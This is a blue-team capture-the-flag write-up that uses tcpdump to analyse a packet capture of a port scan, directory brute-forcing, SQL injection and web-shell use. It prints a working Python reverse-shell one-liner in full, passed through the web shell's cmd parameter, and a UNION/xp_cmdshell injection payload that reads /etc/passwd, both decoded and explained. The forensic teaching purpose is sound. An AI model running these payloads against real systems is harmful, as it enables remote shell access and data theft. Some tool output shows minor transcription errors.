

Reference: <https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b>

Download the PCAP from the above link

Network Analysis – Web Shell

The SOC received an alert in their SIEM for 'Local to Local Port Scanning' where an internal private IP began scanning another internal system.

Wireshark    TCPDump    TShark

Points <b>10</b>	Difficulty <b>Easy</b>	Solves <b>5388</b>	OS <b>Windows/Linux</b>
---------------------	---------------------------	-----------------------	----------------------------

Packet Capture    Password  
btlo (inner ZIP: infected)    Download File

Pcap file analysis with tcpdump.

```
saf-lx@saf-Ubuntu:~/Desktop/Hackthebox/Network Analysis - Web Shell$ ls
BTLOPortScan.pcap
saf-lx@saf-Ubuntu:~/Desktop/Hackthebox/Network Analysis - Web Shell$ file BTLOPortScan.pcap
BTLOPortScan.pcap: pcapng capture file - version 1.0
saf-lx@saf-Ubuntu:~/Desktop/Hackthebox/Network Analysis - Web Shell$ sudo tcpdump -r BTLOPortScan.pcap --count
saf-lx@saf-Ubuntu:~/Desktop/Hackthebox/Network Analysis - Web Shell$
```

Number of packets

`sudo tcpdump -r BTLOPortScan.pcap --count`

```
Saf-Lx [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
Nov 1 12:57
saf-lx@saf-Ubuntu:~/Desktop/Hackthebox/Network Analysis - Web Shell$ sudo tcpdump -r BTLOPortScan.pcap --count
reading from file BTLOPortScan.pcap, link-type LINUX_SLL (Linux cooked v1), snapshot length 262144
17508 packets
saf-lx@saf-Ubuntu:~/Desktop/Hackthebox/Network Analysis - Web Shell$
```

Cut the source IP address from the packet

`sudo tcpdump -r BTLOPortScan.pcap | cut -d " " -f 3 | cut -d "." -f 1-4 | sort | uniq -c | sort -nr`

```
saf-lx@saf-Ubuntu: ~/Desktop/Hackthebox/Network Analysis - Web Shell$ sudo tcpdump -r BTLOPortScan.pcap | cut -d " " -f 3 | cut -d ":" -f 1-4 | sort | uniq -c | sort -nr
reading from file BTLOPortScan.pcap, link-type LINUX_SLL (Linux cooked v1), snapshot length 262144
8299 10.251.96.5
7607 10.251.96.4
881 172.20.10.5
595 172.20.10.2
24 Fe80::8cd9:2533:202e:9e08.mdns
23 Fe80::6325:2041:881:b60c
20 32.121.122.34
16 Request
15 Reply
13 172.20.10.1
12 _localdnsstub.domain
12 Fe80::140d:4c86:5273:c435
11 10.251.96.3
10 84.170.224.35
9 ip6-localhost.http
5 ip6-localhost.54284
5 ip6-localhost.54282
5 ip6-localhost.54280
3 localhost.ndns
3 fe80::e20e:7607:1ad:ee72.mdns
3 2401:4900:4c17:fd5a:db39:9473:3d34:44ef.mdns
3 172.20.10.3
2 localhost.55834
2 localhost.50070
2 localhost.49592
2 localhost.43384
2 localhost.41644
2 localhost.37526
1 fe80::140d:4c86:5273:c435.mdns
1 0.0.0.0
saf-lx@saf-Ubuntu: ~/Desktop/Hackthebox/Network Analysis - Web Shell$
```

The number of these two IP is a lot which is kind of suspicious. So, out of this two IP one is performing scan which is source IP address and another is destination IP address. Let's investigate further.

Packet involving http request

`sudo tcpdump -tt -r BTLOPortScan.pcap port 80 --count`

```
saf-lx@saf-Ubuntu: ~/Desktop/Hackthebox/Network Analysis - Web Shell$ sudo tcpdump -tt -r BTLOPortScan.pcap port 80 --count
reading from file BTLOPortScan.pcap, link-type LINUX_SLL (Linux cooked v1), snapshot length 262144
14109 packets
saf-lx@saf-Ubuntu: ~/Desktop/Hackthebox/Network Analysis - Web Shell$
```

From our analysis we can see that 10.251.96.4 is the source and 10.251.96.5, and the GET and POST request is made to .php file.

```
saf-lx@saf-Ubuntu: ~/Desktop/Hackthebox/Network Analysis - Web Shell$ sudo tcpdump -tt -r BTLOPortScan.pcap port 80 and host 10.251.96.5 | grep -E "GET|POST"
reading from file BTLOPortScan.pcap, link-type LINUX_SLL (Linux cooked v1), snapshot length 262144
1612715529.014756 IP 10.251.96.5.36546 > 32.121.122.34.bc.googleusercontent.com.http: Flags [P..], seq 1:88, ack 1, win 64240, length 87: HTTP: GET / HTTP/1.1
1612715611.163267 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 1:312, ack 1, win 502, options [nop,nop,TS val 244620455 ecr 1334802247], length 311: HTTP: GET / HTTP/1.1
1612715611.251472 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 312:601, ack 557, win 501, options [nop,nop,TS val 244620453 ecr 1334802249], length 289: HTTP: GET /favicon.ico H
HTTP/1.1
1612715614.443737 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 601:997, ack 1046, win 501, options [nop,nop,TS val 2446207737 ecr 1334802336], length 396: HTTP: GET /login.php HT
TP/1.1
1612715620.723598 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 1:501, ack 1, win 502, options [nop,nop,TS val 2446214020 ecr 1334811880], length 500: HTTP: POST /login.php HTT
P/1.1
1612715623.055043 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 501:906, ack 576, win 501, options [nop,nop,TS val 2446216352 ecr 1334811809], length 405: HTTP: GET /login.php HT
TP/1.1
1612715623.694330 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 906:1311, ack 1150, win 501, options [nop,nop,TS val 2446216992 ecr 1334814140], length 405: HTTP: GET /login.php H
HTTP/1.1
1612715624.205996 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 1311:1716, ack 1724, win 501, options [nop,nop,TS val 2446217504 ecr 1334814779], length 405: HTTP: GET /login.php
HTTP/1.1
1612715624.743551 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 1716:2121, ack 2298, win 501, options [nop,nop,TS val 2446218042 ecr 1334815291], length 405: HTTP: GET /login.php
HTTP/1.1
1612715645.329766 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 1:89, ack 1, win 502, options [nop,nop,TS val 2446238638 ecr 1334836414], length 88: HTTP: GET / HTTP/1.1
1612715645.333201 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 89:213, ack 501, win 501, options [nop,nop,TS val 2446238642 ecr 1334836416], length 124: HTTP: GET /3ccfec0e-a2d8-
466f-a06c-77acc2257658 HTTP/1.1
1612715645.335823 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 213:389, ack 935, win 501, options [nop,nop,TS val 2446238644 ecr 1334836418], length 96: HTTP: GET ./history HTTP/
1.1
1612715645.336980 IP 10.251.96.4.49512 > 10.251.96.5.http: Flags [P..], seq 389:404, ack 1360, win 501, options [nop,nop,TS val 2446238645 ecr 1334836421], length 95: HTTP: GET /.config HTTP/
1.1
1612715645.337313 IP 10.251.96.4.49528 > 10.251.96.5.http: Flags [P..], seq 1:99, ack 1, win 502, options [nop,nop,TS val 2446238646 ecr 1334836421], length 98: HTTP: GET ./csvignore HTTP/1.1
1612715645.337481 IP 10.251.96.4.49526 > 10.251.96.5.http: Flags [P..], seq 1:96, ack 1, win 502, options [nop,nop,TS val 2446238646 ecr 1334836421], length 95: HTTP: GET /.bashrc HTTP/1.1
1612715645.337568 IP 10.251.96.4.49524 > 10.251.96.5.http: Flags [P..], seq 1:102, ack 1, win 502, options [nop,nop,TS val 2446238646 ecr 1334836421], length 101: HTTP: GET /.bash_history HTT
P/1.1
1612715645.337735 IP 10.251.96.4.49522 > 10.251.96.5.http: Flags [P..], seq 1:93, ack 1, win 502, options [nop,nop,TS val 2446238646 ecr 1334836421], length 92: HTTP: GET /.hta HTTP/1.1
1612715645.338009 IP 10.251.96.4.49520 > 10.251.96.5.http: Flags [P..], seq 1:93, ack 1, win 502, options [nop,nop,TS val 2446238646 ecr 1334836420], length 92: HTTP: GET /.cvs HTTP/1.1
```

`sudo tcpdump -tt -r BTLOPortScan.pcap port 80 and host 10.251.96.5 | grep -E "GET|POST" | grep ".php"`

Grep the .php file which looks suspicious like upload.php, dbfunctions.php. Then we will see the result.

```
sudo tcpdump -tt -r BTLOPortScan.pcap port 80 and host 10.251.96.4 | grep -E "GET|POST" | grep "dbfunctions.php"
```

```
saf-lx@Saf-Ubuntu: ~/Desktop/HacktheBox/Network Analysis - Web Shell$ sudo tcpdump -tt -r BTLOPortScan.pcap port 80 and host 10.251.96.4 | grep -E "GET|POST" | grep "dbfunctions.php"
reading from file BTLOPortScan.pcap, link-type LINUX_SLL (Linux cooked v1), snapshot length 262144
1612716045.168308 IP 10.251.96.4.49934 > 10.251.96.5.http: Flags [P..], seq 1718:2136, ack 1524, win 501, options [nop,nop,T5 val 2446638677 ecr 1335235013], length 418: HTTP: GET /uploads/db
functions.php HTTP/1.1
1612716051.125681 IP 10.251.96.4.49938 > 10.251.96.5.http: Flags [P..], seq 1:388, ack 1, win 502, options [nop,nop,T5 val 2446644637 ecr 1335242210], length 387: HTTP: GET /uploads/dbfunctio
ns.php?cmd=id HTTP/1.1
1612716056.263731 IP 10.251.96.4.49940 > 10.251.96.5.http: Flags [P..], seq 1:392, ack 1, win 502, options [nop,nop,T5 val 2446649778 ecr 1335247348], length 391: HTTP: GET /uploads/dbfunctio
ns.php?cmd=whoami HTTP/1.1
1612716155.675646 IP 10.251.96.4.49942 > 10.251.96.5.http: Flags [P..], seq 1:639, ack 1, win 502, options [nop,nop,T5 val 2446749239 ecr 1335346760], length 638: HTTP: GET /uploads/dbfunctio
ns.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.251.96.4%22,4422));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 HTTP/1.1
saf-lx@Saf-Ubuntu: ~/Desktop/HacktheBox/Network Analysis - Web Shell$
```

These three packets look suspicious. We can clearly see that the attacker is trying to run the code via cmd parameter.

If we decode last cmd=python, the URL in cyber chef then we can see the following result



The screenshot shows the CyberChef interface with two tabs: 'Input' and 'Output'. The 'Input' tab contains the following Python code:`cmd=python%20-
c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.251.96.4%22,4422));
os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);
HTTP/1.1`

The 'Output' tab shows the decoded command:`cmd=python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.251.96.4",4422));os.dup2(s.fileno(),
0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' HTTP/1.1`

The attacker is trying to play win /bin/sh file with the reverse shell where he used 10.251.96.4 in 4422 port.

## Breakdown of the dangerous pieces

- `python -c '...python code...' — execute a Python command on the server.`
- `socket.socket(...); s.connect(("10.251.96.4",4422)) — connect back to attacker's address and port.`
- `os.dup2(s.fileno(),0/1/2) — redirect stdin/out/err to the socket, so the remote side can interact.`
- `subprocess.call(["/bin/sh","-i"]) — start an interactive shell whose input/output goes over that socket.`

More finding we can immediately distinguish what is normal and what is abnormal. Like in below screenshot.

```
root@ix:Saf-Ubuntu:~/Desktop/Hackthebox/Network Analysis - Web Shell$ sudo tcpdump -tt -r BTLOPortScan.pcap port 80 and host 10.251.96.4 | grep -E "POST"
reading from file BTLOPortScan.pcap, link-type LINUX_SLL (Linux cooked v1), snapshot length 262144
1612715620.723598 IP 10.251.96.4.49514 > 10.251.96.5.http: Flags [P.], seq 1:501, ack 1, win 502, options [nop,nop,TS val 2446214020 ecr 1334811808], length 500: HTTP: POST /login.php HTTP/1.1
1612715777.774583 IP 10.251.96.4.49630 > 10.251.96.5.http: Flags [P.], seq 1:264, ack 1, win 502, options [nop,nop,TS val 2446371149 ecr 1334968859], length 263: HTTP: POST / HTTP/1.1
1612715811.282295 IP 10.251.96.4.49632 > 10.251.96.5.http: Flags [P.], seq 1:574, ack 1, win 502, options [nop,nop,TS val 2446404674 ecr 1334968864], length 573: HTTP: POST /?QLuT=8454%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2C%27%3Cscript%2Fscript%20WHERE%202%3E1-%2F%2A%2F%3B%20EXECN%20x_p_cmdshell%28%27cat%20..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
1612715811.312531 IP 10.251.96.4.49634 > 10.251.96.5.http: Flags [P.], seq 1:310, ack 1, win 502, options [nop,nop,TS val 2446404704 ecr 1335002369], length 309: HTTP: POST / HTTP/1.1
1612715811.344118 IP 10.251.96.4.49636 > 10.251.96.5.http: Flags [P.], seq 1:318, ack 1, win 502, options [nop,nop,TS val 2446404735 ecr 1335002411], length 309: HTTP: POST / HTTP/1.1
1612715811.364188 IP 10.251.96.4.49638 > 10.251.96.5.http: Flags [P.], seq 1:318, ack 1, win 502, options [nop,nop,TS val 2446404756 ecr 1335002443], length 309: HTTP: POST / HTTP/1.1
1612715811.472269 IP 10.251.96.4.49640 > 10.251.96.5.http: Flags [P.], seq 1:318, ack 1, win 502, options [nop,nop,TS val 2446404864 ecr 1335002465], length 309: HTTP: POST / HTTP/1.1
1612715811.491363 IP 10.251.96.4.49644 > 10.251.96.5.http: Flags [P.], seq 1:318, ack 1, win 502, options [nop,nop,TS val 2446404876 ecr 1335002473], length 309: HTTP: POST / HTTP/1.1
1612715811.512693 IP 10.251.96.4.49648 > 10.251.96.5.http: Flags [P.], seq 1:318, ack 1, win 502, options [nop,nop,TS val 2446404883 ecr 1335002573], length 309: HTTP: POST / HTTP/1.1
1612715811.529741 IP 10.251.96.4.49646 > 10.251.96.5.http: Flags [P.], seq 1:318, ack 1, win 502, options [nop,nop,TS val 2446404900 ecr 1335002573], length 309: HTTP: POST / HTTP/1.1
1612715811.547794 IP 10.251.96.4.49642 > 10.251.96.5.http: Flags [P.], seq 1:318, ack 1, win 502, options [nop,nop,TS val 2446404921 ecr 1335002614], length 309: HTTP: POST / HTTP/1.1
1612715811.556576 IP 10.251.96.4.49648 > 10.251.96.5.http: Flags [P.], seq 1:311, ack 1, win 502, options [nop,nop,TS val 2446404947 ecr 1335002650], length 310: HTTP: POST / HTTP/1.1
1612715811.565851 IP 10.251.96.4.49650 > 10.251.96.5.http: Flags [P.], seq 1:311, ack 1, win 502, options [nop,nop,TS val 2446404957 ecr 1335002649], length 310: HTTP: POST / HTTP/1.1
1612715811.577468 IP 10.251.96.4.49656 > 10.251.96.5.http: Flags [P.], seq 1:311, ack 1, win 502, options [nop,nop,TS val 2446404969 ecr 1335002662], length 310: HTTP: POST / HTTP/1.1
1612715811.591520 IP 10.251.96.4.49659 > 10.251.96.5.http: Flags [P.], seq 1:311, ack 1, win 502, options [nop,nop,TS val 2446404977 ecr 1335002660], length 310: HTTP: POST / HTTP/1.1
1612715811.591466 IP 10.251.96.4.49658 > 10.251.96.5.http: Flags [P.], seq 1:311, ack 1, win 502, options [nop,nop,TS val 2446404983 ecr 1335002676], length 310: HTTP: POST / HTTP/1.1
1612715811.597364 IP 10.251.96.4.49660 > 10.251.96.5.http: Flags [P.], seq 1:311, ack 1, win 502, options [nop,nop,TS val 2446404989 ecr 1335002676], length 310: HTTP: POST / HTTP/1.1
1612715811.605103 IP 10.251.96.4.49662 > 10.251.96.5.http: Flags [P.], seq 1:311, ack 1, win 502, options [nop,nop,TS val 2446404997 ecr 1335002685], length 310: HTTP: POST / HTTP/1.1
1612715811.612074 IP 10.251.96.4.49664 > 10.251.96.5.http: Flags [P.], seq 1:311, ack 1, win 502, options [nop,nop,TS val 2446405004 ecr 1335002689], length 310: HTTP: POST / HTTP/1.1
```

We can see this post request is dancing abnormally, -> POST

?QLuT=8454%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable\_name%20FROM%20information\_schema.tables%20WHERE%202%3E1--%2F%2A%2F%3B%20EXEC%20xp\_cmdshell%28%27cat%20..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1

Let's investigate.

From cyberchef we can see

The screenshot shows the NetworkMiner tool interface. The 'Input' section contains the following SQL payload:

```
QLuT=8454%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_n
ame%20FROM%20information_schema.tables%20WHERE%202%3E1--
%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
```

The 'Output' section shows the response from the server:

```
QLuT=8454 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE
2>1--/**/; EXEC xp_cmdshell('cat ../../etc/passwd')# HTTP/1.1
```

QLuT=8454 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table\_name FROM information\_schema.tables WHERE 2>1--/\*\*/; EXEC xp\_cmdshell('cat ../../etc/passwd')# HTTP/1.1

Here

- **UNION ALL SELECT ... FROM information\_schema.tables**: classic SQL injection technique to union attacker-controlled rows with legitimate query results so the attacker can read data from the database. `information_schema.tables` is a metadata table that lists database table names — the attacker is trying to **exfiltrate table names**.
- One of the selected columns is '`<script>alert("XSS")</script>`' — an **XSS (cross-site scripting)** payload. If the unioned output is reflected in a web page without proper encoding, it would execute JavaScript in victim browsers.
- WHERE `2>1` is tautological (always true) — used to satisfy syntax or bypass filters.
- `--/**/` is a comment sequence to terminate the rest of the original SQL statement (many SQL dialects treat `--` as comment; `/**/` sometimes used to evade filters).
- `EXEC xp_cmdshell(...)` is a **SQL Server extended stored procedure** that allows execution of shell commands on the server. The attacker is attempting to run a shell command to read `/etc/passwd`.
- Note: `xp_cmdshell` is specific to Microsoft SQL Server and runs Windows commands; `cat /etc/passwd` is a Unix command. That combination indicates a sloppy or shotgun attempt to run arbitrary commands — it may fail depending on DB type and OS. If it did work, it aims to **read sensitive OS files** and exfiltrate them.

So, the attacker is trying to read database schema, XSS, RCE and bypass of simple filter using comment tokens

Let's focus on the User-Agent, filter out the user agent

```
sudo tcpdump -nn -r BTLOPortScan.pcap -A -s 0 'tcp port 80' | grep -i 'User-Agent:' | sed 's/\r$//'  
| uniq -c | sort -nr
```

```
reading from file BTLOPortScan.pcap, link-type LINUX_SLL (Linux cooked v1), snapshot length 262144  
4615 User-Agent: gobuster/3.0.1  
82 User-Agent: sqlmap/1.4.7#stable (http://sqlmap.org)  
64 User-Agent: sqlmap/1.4.7#stable (http://sqlmap.org)  
28 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36  
24 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36  
22 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36  
13 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36  
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36  
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
3 User-Agent: Apache/2.4.29 (Ubuntu) (internal dummy connection)  
1 User-Agent: sqlmap/1.4.7#stable (http://sqlmap.org)
```

We can clearly see that the number of counts of gobuster and sqlmap is a lot. So, the attacker has used. That output from pcap file clearly shows **two automated tools probing your server**.

### gobuster/3.0.1

- **Tool type:** Directory/File brute-forcing tool.

### sqlmap/1.4.7#stable

- **Tool type:** Automated SQL injection scanner.

Out tcpdump output shows it is clearly TCP SYN packets. The [S] flag means this is a **SYN packet**, which is exactly what scanners use in **SYN (half-open) scans**.

- Source ports are different each time (50238, 50239, 49620, 49622, ...) → attacker is using ephemeral ports.
- No ACKs are seen back from attacker, only SYNs → typical **SYN scan / port scan** behavior.
- This is **probing which ports are open** on the target (destination IP).

```
root@LxGef-Ubuntu:~/Desktop/HackTheBox/Network_Analystic$ sudo tcpdump -nn -r BTLOPortScan.pcap host 10.251.96.4 and 'tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack|tcp-fin|tcp-rst) == 0'  
reading from file BTLOPortScan.pcap, link-type LINUX_SLL (Linux cooked v1), snapshot length 262144  
18:33:06.248247 IP 10.251.96.4.41675 > 10.251.96.5.135: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.249343 IP 10.251.96.4.41675 > 10.251.96.5.135: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.249406 IP 10.251.96.4.41675 > 10.251.96.5.554: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.249453 IP 10.251.96.4.41675 > 10.251.96.5.25: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.249500 IP 10.251.96.4.41675 > 10.251.96.5.587: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.249554 IP 10.251.96.4.41675 > 10.251.96.5.139: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.249599 IP 10.251.96.4.41675 > 10.251.96.5.995: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.249133 IP 10.251.96.4.41675 > 10.251.96.5.143: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.249183 IP 10.251.96.4.41675 > 10.251.96.5.80: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.249260 IP 10.251.96.4.41675 > 10.251.96.5.993: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.250495 IP 10.251.96.4.41675 > 10.251.96.5.111: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.250569 IP 10.251.96.4.41675 > 10.251.96.5.443: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.250611 IP 10.251.96.4.41675 > 10.251.96.5.110: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.250647 IP 10.251.96.4.41675 > 10.251.96.5.445: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.250685 IP 10.251.96.4.41675 > 10.251.96.5.21: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.250777 IP 10.251.96.4.41675 > 10.251.96.5.23: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.250862 IP 10.251.96.4.41675 > 10.251.96.5.22: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.250941 IP 10.251.96.4.41675 > 10.251.96.5.113: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.251061 IP 10.251.96.4.41675 > 10.251.96.5.199: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0  
18:33:06.351343 IP 10.251.96.4.41675 > 10.251.96.5.086: Flags [S], seq 209990000001, win 1024, options [mss 1460], length 0
```

Filter with attacker ip address

```
sudo tcpdump -nn -r BTLOPortScan.pcap host 10.251.96.4 and 'tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack|tcp-fin|tcp-rst) == 0'
```